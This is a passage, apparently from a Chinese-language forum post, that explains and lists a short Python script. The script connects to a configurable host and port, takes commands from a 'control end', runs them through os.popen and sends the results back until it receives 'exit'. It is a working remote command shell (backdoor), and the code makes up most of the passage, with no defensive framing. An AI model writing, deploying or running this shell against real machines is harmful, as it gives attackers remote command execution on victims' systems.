并在连接上接收来自控制端发送的命令,并执行它们。
其中,host和port变量需要设置为目标主机的IP地址和端口号。
当命令为“exit”时,程序会退出循环并关闭连接。
[Python] 纯文本查看 复制代码import socket
import os
host = '127.0.0.1' # 输入目标主机的IP地址
port = 9999 # 输入端口号
s = socket.socket()
s.connect((host, port))
while True:
cmd = s.recv(1024).decode() # 接收命令
if cmd == 'exit': # 如果命令为exit,退出循环
break
output = os.popen(cmd).read() # 执行命令
s.send(output.encode()) # 发送结果
s.close() # 关闭连接